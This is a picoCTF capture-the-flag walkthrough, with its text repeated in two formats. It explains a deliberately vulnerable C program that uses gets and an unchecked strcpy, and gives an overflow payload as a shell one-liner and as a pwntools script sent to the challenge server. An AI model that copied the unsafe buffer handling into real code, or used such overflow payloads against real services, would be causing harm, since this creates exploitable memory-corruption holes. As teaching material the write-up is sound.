Exploiting Buffer Overflow 0 Step-by-Step | picoCTF Walkthrough

Challenge Overview Challenge Name: Buffer Overflow 0 Category: Binary Exploitation What We Get: A compiled binary (vuln) The source code (vuln.c) Understanding the Challenge The challenge gives us a binary file (vuln) and its source code (vuln.c). The goal is to exploit a buffer overflow vulnerability to change a variable's value and make the program reveal the flag. Sounds fun, right? Let's get started! Understanding the Code First, let's take a look at the source code to see what we're dealing with: #include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { printf("%s\n", flag); fflush(stdout); exit(1); } void vuln(char *input){ char buf2[16]; strcpy(buf2, input); } int main(int argc, char **argv){ FILE f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); // Set up signal handler gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Input: "); fflush(stdout); char buf1[100]; gets(buf1); vuln(buf1); printf("The program will exit now\n"); return 0; } What’s Happening Here? 1. Buffer Overflow Vulnerability: The vuln function has a buffer (buf2) that’s only 16 bytes long. The program uses strcpy to copy user input into this buffer, but it doesn’t check the length of the input. This means if we give it more than 16 bytes, we can overwrite other parts of memory! 2. Signal Handler: If a segmentation fault occurs (e.g., due to a buffer overflow), the sigsegv_handler function is triggered, which prints the flag. 3. User Input: The main function reads user input using gets, which is notoriously unsafe because it doesn’t limit the amount of input. This input is then passed to the vuln function. 4. Key Takeaways: The program reads the flag from flag.txt and stores it in a global variable flag. The gets(buf1); function is used, which is dangerous because it doesn’t check input length. The function vuln() uses strcpy(buf2, input);, which can lead to buffer overflow since buf2 is only 16 bytes long. If we trigger a segmentation fault (SIGSEGV), the handler will print the flag! Exploitation Plan To solve this challenge, we need to: Overflow the Buffer: Send more than 16 bytes of input to cause a buffer overflow. Trigger a Segmentation Fault: The overflow will cause the program to crash, triggering the sigsegv_handler and printing the flag. We can use the given binary and provide an oversized input to trigger a segmentation fault and leak the flag: python3 -c 'print("A" 32)' | ./vuln Or we can use the given remote server as below as well. Step 1: Creating the Payload We need to send an input that: Fills the 16-byte buffer in the vuln function. Overflows the buffer to cause a segmentation fault. In Python, we can create this payload like this: payload = b"A" * 32 # More than enough to overflow the buffer Here’s what’s happening: b"A" * 32: Sends 32 bytes of the letter A. This is way more than the 16 bytes the buffer can hold, so it will overflow and cause a crash. Step 2: Send the Payload We’ll use a Python script to send our payload to the remote server. Here’s the script: from pwn import * # Connect to the challenge server conn = remote('saturn.picoctf.net', 51086) # Creating the payload payload = b"A" * 32 # Send the payload conn.sendline(payload) # Receive the flag print(conn.recvall().decode()) What’s This Script Doing? Connecting to the Server: The remote function connects to the challenge server at saturn.picoctf.net on port 51086. Sending the Payload: The sendline function sends our crafted payload to the server. Receiving the Flag: The recvall function grabs the server’s response, which should include the flag. Step 3: Run the Script Save the script as exploit.py and run it: python3 exploit.py If everything works correctly, you’ll see the flag printed on your screen!

Feb 21, 2025 - 22:52

Exploiting Buffer Overflow 0 Step-by-Step | picoCTF Walkthrough

Challenge Overview

Challenge Name: Buffer Overflow 0
Category: Binary Exploitation
What We Get:
A compiled binary (vuln)
The source code (vuln.c)

Understanding the Challenge

The challenge gives us a binary file (vuln) and its source code (vuln.c). The goal is to exploit a buffer overflow vulnerability to change a variable's value and make the program reveal the flag. Sounds fun, right? Let's get started!

Understanding the Code

First, let's take a look at the source code to see what we're dealing with:


#include 
#include 
#include 
#include 

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

What’s Happening Here?

1. Buffer Overflow Vulnerability:
The vuln function has a buffer (buf2) that’s only 16 bytes long. The program uses strcpy to copy user input into this buffer, but it doesn’t check the length of the input. This means if we give it more than 16 bytes, we can overwrite other parts of memory!

2. Signal Handler:
If a segmentation fault occurs (e.g., due to a buffer overflow), the sigsegv_handler function is triggered, which prints the flag.

3. User Input:
The main function reads user input using gets, which is notoriously unsafe because it doesn’t limit the amount of input. This input is then passed to the vuln function.

4. Key Takeaways:
The program reads the flag from flag.txt and stores it in a global variable flag.
The gets(buf1); function is used, which is dangerous because it doesn’t check input length.
The function vuln() uses strcpy(buf2, input);, which can lead to buffer overflow since buf2 is only 16 bytes long.
If we trigger a segmentation fault (SIGSEGV), the handler will print the flag!

Exploitation Plan

To solve this challenge, we need to:

Overflow the Buffer: Send more than 16 bytes of input to cause a buffer overflow.
Trigger a Segmentation Fault: The overflow will cause the program to crash, triggering the sigsegv_handler and printing the flag.

We can use the given binary and provide an oversized input to trigger a segmentation fault and leak the flag:

python3 -c 'print("A" * 32)' | ./vuln

Or we can use the given remote server as below as well.

Step 1: Creating the Payload

We need to send an input that:

Fills the 16-byte buffer in the vuln function.
Overflows the buffer to cause a segmentation fault.

In Python, we can create this payload like this:

payload = b"A" * 32  # More than enough to overflow the buffer

Here’s what’s happening:

b"A" * 32: Sends 32 bytes of the letter A. This is way more than the 16 bytes the buffer can hold, so it will overflow and cause a crash.

Step 2: Send the Payload

We’ll use a Python script to send our payload to the remote server. Here’s the script:

from pwn import *

# Connect to the challenge server
conn = remote('saturn.picoctf.net', 51086)

# Creating the payload
payload = b"A" * 32

# Send the payload
conn.sendline(payload)

# Receive the flag
print(conn.recvall().decode())

What’s This Script Doing?

Connecting to the Server:
The remote function connects to the challenge server at saturn.picoctf.net on port 51086.
Sending the Payload:
The sendline function sends our crafted payload to the server.
Receiving the Flag:
The recvall function grabs the server’s response, which should include the flag.

Step 3: Run the Script

Save the script as exploit.py and run it:

python3 exploit.py

If everything works correctly, you’ll see the flag printed on your screen!